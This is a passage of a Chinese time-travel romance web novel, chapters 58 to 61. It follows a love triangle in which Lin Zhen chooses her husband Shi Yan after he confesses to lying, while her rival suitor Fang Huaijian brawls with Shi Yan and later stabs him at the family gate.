自己带着前世记忆来到这里,已经极其离奇古怪,时彦,未来到现在的穿越者?! 林蓁不知道说什么,这个说法的确能解释时彦知道自己前世之事。 方怀简,过去到现在的穿越者? 林蓁目光看向方怀简,再缓缓落到时彦脸上,两人都是她的爱人,她该怎么办啊!!! 方怀简愣怔到气笑了,真真切切体会了一次时彦忽悠人的嘴脸,他不去戏班真是沧海遗珠! 不怪林蓁被他骗得团团转,若自己不是当事人,自己都要信了! 见林蓁看向自己神色充满疑惑,看向时彦时毫无恼怒,似乎相信了他的话,方怀简怒意滔天,揍扁时彦想法再也压不住也不想压,一个猛拳击向时彦面门! 时彦拉着林蓁忙往边侧闪,脸颊上仍是结结实实挨了一拳。 方怀简怒道:“安安!别被他骗了!他没一句实话!” “今天要揍得你原形毕露!” 一拳又向时彦下颚飞来! 林蓁急得拉方怀简胳膊:“不要打!有话好说!” 哪里拉的动狂躁发作的方怀简! 见林蓁还维护时彦,方怀简的拳头火上浇油! “安安,站一边去!” “谁劝我打谁!” 方怀简拽着时彦衣袍又踢又踹。 时彦亦发起了狠,抓住方怀简胳膊猛击他的脖颈。 “时隽一再帮你,你得寸进尺得陇望蜀,诱引有夫之妇闹上门还污言秽语,老虎不发威当我是病猫!” “今晚你就死在这儿!” “好哇,你死我活!拳头说话!” 林蓁本拉着方怀简,时彦反击挥拳,顿时两个大男人纠缠在一起,从石径打到灌木丛,又从灌木丛滚到树下,林蓁被两人带倒摔在地上,呜呜哭着:“别打啦!” 云娘和碧竹闻声跑了出来,彩橘亦开了门缝探头张望。 云娘一边扶起地上林蓁,一边对张望着的彩橘道:“快去唤二公子来!别让老爷夫人知道!” 时隽一直记挂着门房动静,知道方怀简和林蓁一起回府,时隽的心早就飞到云栖院,无奈哥哥刚刚说过不许他进院门,他只能干着急,在自己院子里徘徊往复。见彩橘气喘吁吁飞跑进来,不待她开口,时隽就往云栖院跑。 “大公子和方公子打起来了!” 这句话似 化为时隽脚下风火轮,他噌一下跑没了影。 云栖院里两个男人打得难分难解,方怀简不会武功但出身将军之家,有些功底,而时彦两世都极其注重锻炼,身体素质极好,原身又是武官,两人势均力敌,都挂了彩亦都不肯服输,时隽跑来时方怀简还呵斥:“你帮他,我们就不再是兄弟!” 时隽一记手刀劈在方怀简后背,他顿时昏了过去。 时彦从地上爬起来,一脚踢向方怀简,突然想到林蓁就在身边,飞出去的脚生生停在方怀简胸前,借势蹲在方怀简身边,翻看了他两下。 林蓁亦扑了上来,摸摸方怀简的脸,他没有任何动静,林蓁抬头问时隽:“他没事罢?” “没事儿,我把他弄走。”时隽叫自己长随思礼帮忙,把方怀简背在自己背上。 “我送他回去。” 时彦没吭声,时隽亦不等他发话,背起人往外走。林蓁急忙跟上去,焦急地摸摸方怀简的肩,又摸摸他的头。 “蓁蓁!”时彦本想拉住她,但她闪得太快。 “我送送就回来!” 时隽步伐快,林蓁小跑着跟住他,两人一眨眼就闪过叠石假山出了院门。 林蓁领教过时隽手刀,可方怀简是比自己壮实青年男子,他在时隽背上颠簸着都没醒,林蓁有些担心:“他怎么还不醒?” “醒了继续打架?他没事。” 林蓁心中踟蹰一会儿,对时隽道:“他醒了你和他说,别冲动,三日内我去找他,让他别再来府上。” “还找他?!”此刻时隽想打自己的脸,叫哥哥来看。 “嗯,你一定和他说,不然说不得他还闹。” 时隽正想让林蓁别再管方怀简,就见母亲谢氏匆匆走来。时隽和林蓁脸色顿时都不太好看。 谢氏听闻方怀简跟着林蓁上门,想到晚间时彦小两口都未和家人一起用膳,故担心得想过来瞧瞧。 她走近时隽,倒抽口凉气! 方怀简头发散乱闭着眼,嘴边还挂着血迹,身上衣袍破破烂烂似在荆棘地里跑了一天! 谢氏急道:“他怎么了,要不要叫大夫?” 时隽:“没事,就是昏过去了,我送他回去。” 谢氏方落了心,叮嘱道:“把他脸上整干净,换身衣裳再走!” 见林蓁在一旁站着,谢氏问:“你跟他走?” “没有,正要回去。”婆母面前,林蓁不好意思再继续跟下去。 “那我和你一起回云栖院。” 云栖院夫妻俩卧室内间,时彦对着铜镜用湿巾敷脸,听到动静,时彦忙迎了出来,却见谢氏和林蓁一起进了门。 “没事,让母亲担心了,方怀简有些心结,已经解开了,他情绪激动昏了过去。” “和蓁蓁没关系,方怀简的问题,但都已解决好。” 谢氏路上就想对林蓁发火,但没弄清原委,边上又全是下人,强忍着进了房间,可还没开口,时彦便忙撇开林蓁关联,谢氏一肚子火发不出来! 看儿子脸上青肿,谢氏又气又心疼:“谁再惹这样祸事,时家也有家法!” “明白明白”,时彦抚上谢氏肩膀,把她往门口带,“没有下次,母亲别放心上,早些回去休息。” “折腾一番,我也想睡了,母亲回去别和父亲提。”窗外时彦安抚着谢氏,声音渐远。 林蓁似泄了力,在桌前呆坐。 以为时彦彻头彻尾大骗子,想和他大决裂,虽然心下伤心至极,可他竟是穿来的未来夫君?!心里好受许多,可想到方怀简,又难过不已。 心就像拔河绳索中间红绸界绳,往哪一边偏离都难受,都似要绷烂成一寸寸残片。 “蓁蓁”,被时彦抱在怀中,林蓁才发觉时彦不知何时进了门。 林蓁挣扎了下,没挣开。 时彦在她耳边道:“蓁蓁,对不起,我骗了你。可我穿来时,你如此迷恋方怀简,我太不是滋味,在另一个时空,方怀简和你没有任何瓜葛,我俩夫妻恩爱,我不知为何重返三年前,事情就变了样,我只好伪装成飞飞,让你像从前一样喜欢我。” “方怀简和我没有瓜葛?”林蓁难以相信,既然她能告诉时彦自己前世的事情,那只要她看到方怀简,她就会想到飞飞,她怎么可能对如此相似的人视若无睹呢。 过犹不及,时彦不动声色找补:“他就是和你没瓜葛,他很早成了亲。” “和谁?” 飞速想了想时隽提过的话,时彦道:“他表妹。” 林蓁沉默不语。 时彦心下担心,但林蓁在自己怀里并没有排斥动作,他又有些安心,搂紧她试探着轻轻亲她的鬓发,她的耳垂,她的面颊…… 林蓁没有反应,时彦心里有了底。 “你心里有我的,对不对?”时彦亲林蓁唇角,林蓁在怀中似木头人。 触碰到一丝咸湿,时彦看看林蓁,她无声淌泪。 心里软得不行,时彦垂眸吻她眼角,吻林蓁眼泪。 把方怀简骂千万遍,口中却道:“我是你夫君,你心里有我。” “你心里也可以有他。” 第59章 第 59 章 心里可以有他,这里只能…… 五味杂陈。 眼泪一滴滴从眼角滚落, 被时彦一滴滴吻净,林蓁嘴唇抿紧,心中哀伤欢愉迷茫……恰如走到十字路口,无从选择。 方怀简才是飞飞, 从始至终自己从未认错, 可如今这种处境, 还可能与他从头再来么。曾经多么渴盼与他日日不分开, 就是白日在芙蓉醉时心下亦涌动过这样念头。 若时彦别有目的欺骗自己感情,自己决然和离, 和方怀简走到一起,可时彦并非如此。 在方怀简说自己是飞飞时,林蓁虽然震惊同时有两个飞飞,可心底亦不愿相信时彦对自己处心积虑全是利用。 他为自己花过大量银钱,为自己流过血, 陪自己打发时间说着无聊闲话, 衣不解带照顾生病自己,更不论婚后两人云雨时和谐亲密似融合为一体, 爱一个人,她有体会, 能够感受,她不信时彦对自己全无真心。 所幸, 他仍捧着原来那颗真心。 他是和自己日日巫山云雨之人, 林蓁哪里丢得开放得下, 她开不了和离的口,更不可能获得英国公府支持。 他来自未来?全因爱护自己的心当初才出此下策? 毅勇侯府举全府之力娶自己这样一个二房庶女,除了时彦对自己真心,林蓁想不到别的解释, 即便这个理由如此不可思议。 可飞飞真的很可怜,一想到他耷拉着脑袋无力地趴在时隽身上,醒来时还不知会如何闹腾,林蓁就心酸满腹,怎么办呢,这个时空里飞飞不可能脱离身后家族,由着性子恣意而为,这是一个彻头彻尾人治人情社会。 时彦感情上没有欺骗自己,林蓁深陷其中,无法走出来亦不想走出来,她丢不开像藤蔓一样缠绕自己的时彦,没有勇气决然走向方怀简,真正的飞飞,尽管一想他就心痛。 方怀简或者飞飞要是有妻子就好了。 林蓁惊讶脑中突然冒出来想法,是的,如果方怀简已经娶妻,两人各自都木已成舟,他妻贤,她夫惠,除了遗憾感伤,方怀简和自己大概都不会有不顾一切的勇气无畏迈出那一步。 “方怀简和你没有任何瓜葛,我俩夫妻恩爱。” “他很早成了亲。” 或许时彦所言无虚,自己看到方怀简夫妻和睦,他便长得再像飞飞,自己应该不会像先前,死缠方怀简破坏他人家庭,只会擦肩而过深深看过一眼罢了。 “蓁蓁,你为何不说话?” “你理一理我,好么?打我骂我都可以,你如此我比挨打还难受。” “我再没有别的骗你,以后都不会骗你!” 时彦吻着林蓁,一面低低求她原谅。 林蓁抬眸看时彦的脸,他脸上挨了方怀简好几拳,刚才看还好,此刻半边脸红肿明显,一只眼中充血。林蓁缓缓抬手,想摸摸他的伤,指腹触碰的那一刹那却又停住,肿得厉害轻轻一碰亦会很疼罢。 “我叫彩橘弄些冰块来。” “不用,”时彦一把抓住林蓁的手放在自己红肿的脸颊上,“你摸摸,就好了。” “胡说什么。” 时彦却是再不放手,林蓁只觉他的脸和烙铁似的,紧绷,还烫得手疼。 “不行,必须冰块敷一敷。” “母亲已叫人去准备,过会送来,”时彦箍住林蓁,不让她起身,“蓁蓁,你可是原谅我了?” 林蓁刚止住的眼 泪忍不住又往外涌,她抖着唇带着鼻音问:“上次你喝药汤时,就说过再没有谎言,你到底还有多少我不知道的?我的心经不起磋磨。” 时彦认真想了想,这次不说些什么这事估计过不去。 “我全都告诉你!我怕你一心追求方怀简不搭理我,才不敢说。” “摔下山崖时就是我突然回来时刻,那时我便想娶你,可没什么机会见你,母亲寿辰请你嫡母和你来府上亦是我的主意,就为我母亲看看你,以后好让母亲为我俩提亲,谁知方怀简突然冒出来,你的心思全在他身上,压根没注意到我。” 时彦真真假假编了一通,穿书之事那是打死也不会宣之于口,而且看样子林蓁和方怀简都没读过这本书。 “三年后和现在有什么不同?方怀简过得好吗?” “我们有一个很乖的女儿,你肚里还有一个”,时彦摩挲着林蓁的手,憧憬以后生活,“我们夫妻恩爱,宝宝可爱,人人羡慕。” “他也很好,他是时隽好友,我们和他交往不多,他孩子四个,两个大些的男孩还拜时隽为师学功夫。” 如果不是考虑人设,一年只能生一个,时彦真想给方怀简妻妾成群,十来个娃,多子多福。 林蓁话渐渐多了些,见她态度松溶,时彦更是软着声音伏低做小,卑躬屈膝:“你心里有他,我不介意,只要你心里也有我的位置。” “你日日感受我的真心,等到他娶妻生子,不用我说,他也不会在你心里留下半点。” “蓁蓁,求你心里有我!” 一直在林蓁脸颊、唇边徘徊的吻渐渐向下,再向下,林蓁就见眼前人横无忌惮在自己胸前探寻流连,她想推开他,却是被桎梏得紧,只好骗他道:“快松开,丫鬟送冰块来了。” 两人日日夜不空房,林蓁身上哪处敏感,时彦比自己身体还清楚,他轻轻在她胸前敏感处咬了一口,才恋恋不舍抬头坐直身体,给林蓁也拉好衣襟。 林蓁酸麻得一激灵,身体软得快扑倒在时彦身上,就听时彦问:“蓁蓁,你也骗人?”门外一点动静没有,哪有人来送东西。 “就你可以骗人?道个歉就什么事都无,轻描淡写过去?” “我们都不骗人,好么?”时彦又想搂林蓁,“我方法不对,但爱你的心没有骗,从始至终我都心慕你,想你做我的妻子,我们生儿育女。” “这个事情过不去,一辈子都过不去,蓁蓁,你罚我一辈子为你做牛做马,伺候你和我们的宝宝,好么。” 见林蓁未有推拒,时彦还想顺竿子往上爬,两人拉扯间,门外丫鬟声音:“大公子,冰块到了。” 谢氏让贴身丫鬟送了冰块过来,林蓁起身道谢接过,用丝帕裹上冰块给时彦敷脸。 站在时彦身边,小心翼翼服侍他,冰贴着红肿,林蓁不由得想到方怀简,他脸上也挂了彩,回了方府谁会照料他?会不会没人照料,反倒招来父母责骂?若他父母知道原委,定然会生气,只是责骂没有挨打已是对他的极至宠爱。 林蓁手上帮按着冰块,情不自禁叹了口气,自己婆母谢氏亦算好脾气,自己带方怀简上门,惹出这般事,谢氏也只是脸色难看,没对自己说出一句重话。若自己做方府儿媳,怕是没有这样好命。 自己想些什么呢,做方府儿媳?林蓁摇摇头,似乎如此便可以甩开这些念想。 待时彦脸肿消了大半时辰已不早,两人收拾一番歇息。若按以往,必是说上几句话便要滚在一起浓情蜜意,可林蓁实在没什么心情,看时彦伤势心口难受,想到方怀简一样伤势形单影只,心口更难受得抽疼。 时彦静静躺了一会儿,见林蓁纹丝不动不言语,主动侧身过来将她搂进怀里,轻轻撩开她的中衣,一寸寸吻她。 “我不想。”林蓁忙攥紧衣裳,不想它滑落。 “蓁蓁”,时彦吻着她的敏感处,林蓁一阵颤栗。 “我想,我想你心里有我。” “你心里有我的,是不是?证实给我看,好不好?你有我,你还爱我。” 眼泪漫溢出眼角,林蓁泄了力,松开攥紧衣裳的手,抬臂将手背挡在眼前。 时彦很是温柔,像珍爱脆弱柔美稀世细瓷,一寸寸轻吻着她,炙烤着她,燃烧着她,他如此了解她,迎合她,林蓁无法自控颤动,音色发飘:“阿彦,阿彦……” 俩人第一次亲密时,他就让她唤“阿彦”,就已经明了告诉过她,放下飞飞,今后与她同行的唯阿彦而已。 以为是床笫间昵语,此刻才明白那原本就是真相。 他的声音亦低沉,带着些许喘息。 “蓁蓁,有我。” “喜欢我么,我们才是真夫妻。” “从来就只有我们,只有我们,你有我,我有你。” 林蓁“呜呜”哭泣。 时彦不断亲吻,唤她:“蓁蓁,你该叫我什么。” “阿彦,阿彦……” “不是,还有”,时彦拉开林蓁遮挡眉目的手,“还有别的。” 他拉着她的手往下,攥紧她的手不让她逃开。 “蓁蓁”,他的声音发着颤,语气却不容置喙,“心里可以有他,这里只能唯我。” “蓁蓁,叫我夫君。” 林蓁低低哭泣,似雨中花蕊承受上天恩泽,娇软无力,却又滟滟生光。 时彦另一只手轻轻托起林蓁后颈,他啜吸她的唇:“蓁蓁,看我,看看我们。” 停歇须臾,似给林蓁几息缓冲时间,在看到林蓁目光轻瞥过来时,继续。 时彦重重地喘息,声音暗哑。 “叫我夫君,只有我时彦,是蓁蓁夫君。” “蓁蓁很喜欢,很喜欢我,是不是,我知道的。” 看到画面已然令人大脑充血,陡然被猛力冲击,林蓁瞬时晕厥,她若骤然飞上九霄,战栗到发不出一丝声音,又慢慢飘回凡间红尘,飘落在时彦怀中,耳边有哗哗水津响,似自己哭声,亦或者别的,她哭泣着顺从了时彦要求,啜泣声中柔声唤他。 “阿彦,我的夫君,蓁蓁的夫君。” 还能如何? 身体已然做出选择,心以后也会如此罢。 飞飞,方怀简,心里再如何舍不得放不下,想到就流泪,也只能小心翼翼把他珍藏在心底某个角落,因为她和阿彦,无数个夜晚,早就融为一体。 终究他会成为其他女子的爱人,就如同此刻自己,在时彦身下,一声声唤着他夫君。 “阿彦,别再骗我!” 双手紧箍着时彦的腰,林蓁流着泪喃喃,“好好爱我”。 就这样罢。 狂热颠簸后仍和从前一样,林蓁覆在时彦胸上喘息,只是眼中还淌着泪。 时彦手指温柔顺着她的长发,另一只手抹她的泪:“还有几天去御史台,这几天愿不愿意去户部,看看盐铁使每天做些什么。” “什么?”林蓁没听明白。 “你愿意的话,可以女扮男装跟我去户部,了解盐铁使如何监察盐业铁业事务。” 以前林蓁对这些特别感兴趣,因为御史台大夫职责便是监察,她好奇户部如何运作盐铁监察,可时彦这个时候提起? “这是讨好?” “我日日都想讨好你,只不过刚刚担任盐铁使,熟悉一段时间才敢带你去。” 不得不说,时彦很了解自己心思,讨好人到心坎上,想到自己竟然可以去户部,林蓁淌眼泪心思瞬间淡下许多。 第60章 第 60 章 血溅五步! 方将军府侧门。 和时隽在马车里大吵一架, 方怀简没允时隽入府,自己和方德山径直往宅院走。时隽望着方怀简远去身影,心中忿忿亦惴惴。 忿忿方怀简不识好歹,早知会和自己闹掰, 他死活不答应方怀简请求也是如今这结果, 可至少毅勇侯府不会被闹得家宅不宁。 亦惴惴不安方怀简心绪, 他似乎癫狂疯魔, 囔囔时彦骗了林蓁,时彦图谋不轨, 自己才是林蓁意中人,可林蓁浑身上下除了一张脸有什么值得哥哥欺骗,何 况时隽不认为哥哥是以貌取人图林蓁长相之人,虽然他也没想明白哥哥为何突然娶林蓁,但方怀简说法他决然不信。 方怀简油盐不进, 时隽担心他后面还会整出什么幺蛾子。 直到方怀简背影消失, 时隽才怅然转身上了马车。 卧室内间,方德山一边给方怀简清理伤口, 一边劝慰自己主人。他早就感觉主人不对劲,想给将军和夫人禀告, 可又怕方怀简知道弃了自己,左右为难。 “公子, 别的不说, 你每日得去翰林院, 你这番模样让人瞧见,背后不知多少猜测,若有人知道你是去毅勇侯府后如此,于你名声大有损害, 长远影响不知多少!” “我都没担心,你担心什么?担心影响你前程?若觉得影响你前程,我可和母亲说,你可以去服侍我那些侄儿。” 方德山急道:“公子,我不是这个意思!只是人言可畏啊!” 方德山没敢再说,和林蓁落水自家公子名声已然大噪,可那是林蓁没理儿,她已然成婚,公子再纠缠那没理儿的便成了自家,而且后果更恶劣。 方怀简对方德山亦不耐烦起来,催促他出去,一边拿起酒坛就往嘴里灌。 方德山抢身就要拿走他手中的酒:“时辰不早,我出去可以,公子别再喝,早些歇息!” 在时彦那儿憋了一肚子火没地儿撒,回家喝口酒还被下人管束,方怀简气得直接把酒坛摔在方德山身上:“到底谁听谁的?!你倒管起我来了?!这屋里你什么时候成主子了?!” 方德山前襟湿透,不敢顶撞方怀简,也不敢由着他喝酒,默默收拾地上酒坛碎片。 “混账!怎么越州回来你就变了个人!” 方怀简和方德山看向门口,袁氏迈进了门,方德山心中喜出望外。 “母亲,这么晚您还没睡?我听丫鬟说您已歇息,所以没去请安。” 袁氏摆摆手,示意下人们都离开。 待只剩下母子,袁氏心疼道:“这些伤怎么弄的?你今日跑哪去了?让人去翰林院找你,没找着人,去时府问也说你没去。” “走路摔了一跤,不打紧”,时彦问母亲,“今日有些事,我提前离开翰林院,家中何事找我?” 袁氏不揭穿他的话,只是叮嘱:“祖母今日到了,本想你回来大家一起吃饭,根本找不到你的人影,祖母虽没说什么,但大家都看出来,她极挂念你。明儿一早去给祖母请安,别做些让祖母不开心的事!” 刚刚进门时,方怀简已听下人提过,他并不意外,垂首应好。 “祖母和你表妹徐蕊婴一起来的,待你表妹客气些。” “徐蕊婴来了?”方怀简诧异抬眸。 “是,祖母年纪大,你姨丈不放心,让蕊婴陪同。” 方怀简挑眉:“就只是陪同吗?” 袁氏想了想,让儿子有个心理准备也成,她道:“蕊婴我见过了,确实如你祖母所说,温柔貌美,对长辈恭敬有礼,我很喜欢她。” “明日你见了她,定然也会喜欢,她比幼时好看许多。” 除了是祖母的人,家里没法助力方怀简,现下袁氏对徐蕊婴没有不满意之处。 “母亲,我不会娶徐蕊婴。” “什么?”袁氏猜道方怀简会拒绝,可没想到面都没见,错处都没挑,就直白拒绝了! “你都没见她,她现在长得比皇城那些贵女还要出挑,身段柳枝儿似的——” “母亲,这些话就不必说了”,方怀简打断袁氏的话,“无论如何我不会娶她,祖母面前我也是一样的话。” “你,你”,袁氏气得说不出话,“你是要气死我和你祖母吗?” 袁氏缓了口气,妥协道:“不娶她也行,你要娶谁,你说,我们当初说好的,越州回来就把亲事定下,只要你开口,母亲都给你娶回来!” “只要我开口,母亲一定给我娶回来?” 袁氏看着方怀简,目光中有些狐疑。她知道儿子喜欢林蓁,可林蓁已成婚,他这是看上哪家姑娘。 “只要你开口,母亲就给你娶回来!” 袁氏还是重复了自己的话,即便不是徐蕊婴,其他能让儿子定心的姑娘,也行罢。 “我要娶林蓁,这辈子我只娶她!” 一阵头晕目眩,袁氏身子软软的就要倒下去,方怀简忙扶住母亲。 袁氏心悸得厉害,坐在绣墩上缓了好一会儿,才慢慢掀起眼皮,虚弱地对方怀简道:“嗯,气死我,气死祖母,把全家人都气死,你就去娶她罢!” “不用我们打断你的腿,毅勇侯府的男人们会替我们做这个事儿!” * 翌日傍晚,晚霞渐渐散去,一两颗星星在天空闪耀,毅勇侯府一辆豪华气派马车缓缓停在侧门。车帘撩开,时彦探出头来向门房仆役点点头,仆役们小跑过来,要把马车引导到院内停歇。 “哥!” 时彦正要放下车帘,就见时隽从门房跑过来。 “你在这儿做什么?” 时隽目光看向侧门对面,方怀简已下了马车,缓缓走过来。他身材瘦削,虽步伐缓慢,却带着一股阴风,再配上脸上暗沉神色,宛若苦大仇深的复仇者。 可侯府和他有什么仇有什么冤?! 今日方怀简很早便到门口囔囔找林蓁,谁劝都没用,母亲亲自出来告诉他,林蓁不在家,他才将信将疑回到马车里,也不走,就在街对面等,自己劝他反而被警告,只要自己再插手一根手指头,两人从此恩断义绝。 时隽只得守在门口,提前防备可能的冲突。 时彦顺着时隽目光看过去,方怀简已不过丈许远,林蓁还在车内,时彦沉思着应对,就听方怀简喝道:“时彦,滚下来!” 马车内,时彦和林蓁对视一眼,林蓁眼中闪过一丝忐忑。 林蓁没想到,方怀简一天没到又来了,时隽难道没和他说自己的口信?还是方怀简一秒都等不得,要继续昨晚未完成的事儿。 可现在的自己,只会站在时彦身边。 林蓁回想今日忙碌。 一大早,自己扮作时彦贴身仆从和他去了户部,忙了半日学习了不少东西,时彦又带自己去了红枫寺。上次中元节时彦有事没去,这次陪自己专门去给母亲唐婉莞烧了香,两人还一起去红枫寺后山转了转,游过毅勇侯提过的瀑布,欣赏完日落,这才赶回来。 和时彦渐渐尽释前嫌,自己心情也慢慢好起来,与时彦一起看晚霞时听他面对落日对自己海誓山盟,心里还挺感动挺欢喜,可哪能知道,与此同时,方怀简满心阴郁在毅勇侯府门口苦苦等候,一想到这些,林蓁心下酸痛不已,愧疚和难受像把匕首在心里搅动,折磨着自己。 林蓁抢先跳下马车。 “世之!”唤着方怀简的字,她向他疾步走。 方怀简脚步顿了顿。 林蓁穿着小厮男装,和时彦一起钻出马车,他没想到,林蓁知道时彦并非自己后,还能和他同乘一辆马车,而且相处得极其顺畅。下马车时时彦扶了她一把,仿佛他已为她做过无数次,她亦接受得理所当然,虽然目光看向自己。 那目光似焦虑,似担心,唯没有昨日下午芙蓉醉里 看自己时那种闪亮。 方怀简凝视林蓁目光,他没有看错。 林蓁变了,不多,但却是与自己期待不一样的变化。 必然是时彦,他太会哄弄,林蓁必被他灌了迷魂汤,方怀简攥紧袖中利刃。 “世之!”林蓁跑到方怀简面前,“你怎么又来了?你的伤好些了么,时隽没和你说,我三日内会去找你?” 方怀简垂眸。 林蓁眼里流淌着些许关切些许担心,目光在自己脸上上上下下,似乎那样审视仔细察验,自己脸上的伤就能快速恢复似的。 不过神奇的是,确乎有些作用,至少心情莫名好了些。 “我很想你,我就来了。” 林蓁眼中闪过一瞬尴尬,方怀简明锐捕捉到了它,就算她的汗毛被风拂动,他也能感知拂动方向,他的心全系在她身上,一举一动,一个微表情。 林蓁侧首看了身后时彦一眼,他也走到了方怀简面前,方怀简没有给他眼神。 林蓁收回看向时彦目光,视线落在方怀简脸上,她深吸一口气,抿了抿唇,有些紧张地对方怀简笑了笑。 “世之!你知道,我以前很喜欢你,现在”,林蓁踟蹰一瞬,“也还是喜欢。” 林蓁看自己眼神,又有了光,方怀简脸上暗沉神色有些松动。 可旋即林蓁垂眸,眼皮下垂遮住那刚刚仅仅闪现一息的神采。 “但,我也喜欢时彦。” 林蓁的头往下埋,方怀简逐渐看不到她任何神情,晚风吹拂着她鬓边碎发,她乌黑碎发随风摇摇曳曳,方怀简盯着那碎发,左摇右摆像西湖里的浪正拍打着自己的心,翻滚着簸荡着,心随着她不断埋下再埋下的脑袋渐渐沉落湖底。 “时彦已是我夫君,世之,今生我们做兄妹,好么。” 她的声音细如蚊蝇,甚至都不敢抬头看自己。 方怀简半个字都不想再听,“唰”的抽出袖中匕首,直抵时彦胸口。 “今日你放手,过去我全不追究”,方怀简咬紧牙,看向时彦目光如地狱烈火,“否则,血溅五步!” 刀尖戳破了时彦衣襟,尖刃闪着寒光,映照出林蓁惨白的脸。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-70 第61章 第 61 章 只要你想,我还会 当下时隽虽只相距几步却不敢轻举妄动, 方怀简是文人但不是手无缚鸡之力文弱书生,时隽有把握拿下但免不了时彦受伤,时隽瞪大双眼,急吼道:“世之, 别发疯!” 马车边方德山一直东张西望, 先前方府差人来寻方怀简, 被方怀简一顿威喝, 让回去禀告没找着人,当时方德山站在方怀简身后给来人挤眉弄眼, 不知对方是否意会,这会儿方德山见着匕首,吓得忙跑过来,一边跑一边喊:“公子,使不得啊!” 时彦胸襟鲜红从一粒米大小渐渐变成钱币模样, 方怀简更走近他一步, 大喝道:“都别过来!谁过来我一刀捅死他!” 毅勇侯府门口众人,仿佛瞬间都被施了定身术, 木木地站着不敢动弹半分,唯恐挪动丁点儿或者发出什么异响激怒方怀简。 “世之, 飞飞,你别这样。”林蓁站在方怀简侧后方, 哭着求他。 方怀简充耳不闻。 尖刃抵死时彦胸口, 方怀简阴沉着脸道:“我给你机会, 即刻和离,从此我俩井水不犯河水!” 时彦的唇抿成一条直线。如此凶神恶煞般被尖刀威胁,他还是第一次经历,虽然明晖也曾放过他的血, 但那时他并未感到杀意,而此刻的方怀简自带阴风,真想杀人。 “即便我写和离书,蓁蓁愿意跟你?你这样逼迫我们,她对你的那点儿喜欢也不会再有!” “闭嘴!”尖刃戳进肌肤,方怀简怒道:“你只管写!现在写!” “去拿纸笔!” 门口仆役对上时隽眼神,赶紧往门房拿笔墨。 站在方怀简后侧,林蓁看不到他表情,只见时彦胸前渐红,方怀简拿刀的白皙手腕上青筋暴起。 林蓁啜泣着,看着方怀简背影,熟悉又陌生。 不知怎么变成这样,早知如今她宁愿不去芙蓉醉。 他和以前一样,愿意为她做任何事。 这一世,提刀的事,他也做。 从来温润随和的飞飞,突然偏执疯魔似变了个人,林蓁不想,不想他从此被人指指戳戳,不想他大好前途尽毁,不想毅勇侯府和方府交恶。 视线渐渐模糊,方怀简身影惟恍惟惚。 “纸笔呢!” 在方怀简又一次戳动匕首时,林蓁猛然扑向前,从方怀简身后紧紧搂住他,哭喊央求:“世之,飞飞,你别这样!” 方怀简身心晃荡。 柔软身躯紧合着自己后背,带来一片温热,凉透的心似乎都染上了一点点温度。他想她搂得紧点,再紧点,他渴望,他留恋她的温暖。 可旋即,方怀简意识道,她搂的是他,为的是他对面的人。 “安安,你担心他,是不是?” “你为他哭,对不对?” “没有,不是”,林蓁流泪道,“世之,飞飞,你这样做,这样伤人,大周律令会革除你的功名,你多年辛苦付之东流。” 林蓁的泪“哗哗”往下淌:“不值得,不要。” 方怀简眼中升起温热:“我们不是什么兄妹,我们只做夫妻,你不要我,我帮你结果了他,免得以后你追悔莫及!” “无事献殷勤,非奸即盗!安安,你好好想想,他为何兴师动众娶你!没有那么多巧合!他目的不可告人!” 时彦面色冷淡声音冷厉:“方怀简!你失心疯!” “我娶了蓁蓁,她不再痴缠你,她过得比以前好,你心理失衡,你不服气不甘心不高兴,你就是太习惯众星拱月,不能忍受被放弃!如果我不娶蓁蓁,你也不会搭理她!” “放屁!”方怀简扬手就要给时彦一个耳光,衣袖被林蓁死死拉住。 “安安!”方怀简喝道:“他的话一句都不能听!你要相信我!” 林蓁哭道:“我相信你,你说的我都相信!”手上的劲道一点儿不松。 毅勇侯夫妇和时姝此刻都跑了出来,看到眼前情形,三人脸色俱是又红又白又青,时世诚喝道:“方怀简,你把这里当做什么了!胡闹!快放下刀,不然休怪我们不客气!” 方怀简囔囔着:“你们的儿子居心叵测!彻里彻外骗子!他骗娶林蓁!” 谢氏头晕,众目睽睽之下,儿媳妇还抱着方怀简呢!见时世诚无所畏惧走向方怀简,谢氏忙拉住丈夫,急得出汗:“你别刺激他!” 时彦目光落在林蓁的手上,那双手紧箍着方怀简,力量之大指甲发白,时彦沉声道:“你以为你爱她,为她可以杀人放火,丢了性命亦不怕,实际所作所为完全不考虑她!你如此逼她,让她在众人面前失了脸面,在侯府门前闹事,所有下人都看到她紧拥着你,你高兴你心爽,可她以后会面对什么,你根本不会想!” “她在侯府会很艰难,就算她跟你走,方府的门为她大开?你爹娘你哥嫂会尊敬她爱护她?” 林蓁哭泣着:“别说了!别说了!” 方怀简恨不能当场把时彦捅成花,他巧舌如簧,四下里虽没人说话,但眼神中都是对时彦的关心和同情,自己就是一个发疯怪物! 可明明几天前他还是人人景仰翩翩君子! 但他还不想陪这个烂人一起死,他只想林蓁自由。 眼瞅着仆从手拿笔墨却呆呆站着不敢上前,方怀简怒吼:“笔墨拿过来!”仆从看了看毅勇侯夫妇,在谢氏示意下畏畏缩缩慢慢靠近。 “的的的”,一辆马车飞速驶来,时隽认出方府标识,立刻劝道:“世之,你家来了人,可能是你母亲,快丢下刀!” 马车宽大高挺,紫檀车身上包裹着水碧色缯绸,露出木料上全是描金雕刻的花鸟走兽,时隽认出必是方府长辈所用马车。 方怀简手握匕首往时彦身体里使劲:“快写!”留给他的时间不多了。 时彦缓缓拿起笔。 “快点!” 血红涌出在时彦胸前似开出一朵红花,谢氏时姝或紧闭了眼,或扭头不看。 马车几乎停在了侯府众人面前,车帘撩开,一位白发苍苍老妇人扶着龙头拐走了出来,谢氏不禁迎上去:“老夫人!” 方怀简祖母秦氏边走向方怀简,边呵斥道:“世之!丢下刀!” 时彦笔下才写了两个字,闻声他抬眸,视线恰好对上方怀简目光。 方怀简心中发恨,时彦淡淡一瞥,他读出了眼中不屑讥嘲挑衅,甚至还有些得意…… 以为他真不敢么,他可是听着枪刀剑戟声看着刀光血影长大! 秦氏龙头拐打在方怀简腿上一声闷响,谢氏惊呼“不要”跑过来时,方怀简已使了全力扑在时彦身上,林蓁本搂着方怀简,也被他突然猛力带得摔倒地上。 电光火石间,时彦虽侧 开了身,仍被方怀简扎中,所幸他侧开角度避开了胸腹关键部位,方怀简攥紧刀继续往他身上扎,时彦在地上翻滚躲避。 “夺妻之恨,不共戴天!今日一命抵一命!”方怀简攥着刀追击,马车里突然飞出一个人,一脚踢飞方怀简的刀,方怀简手腕瞬时耷拉下垂。 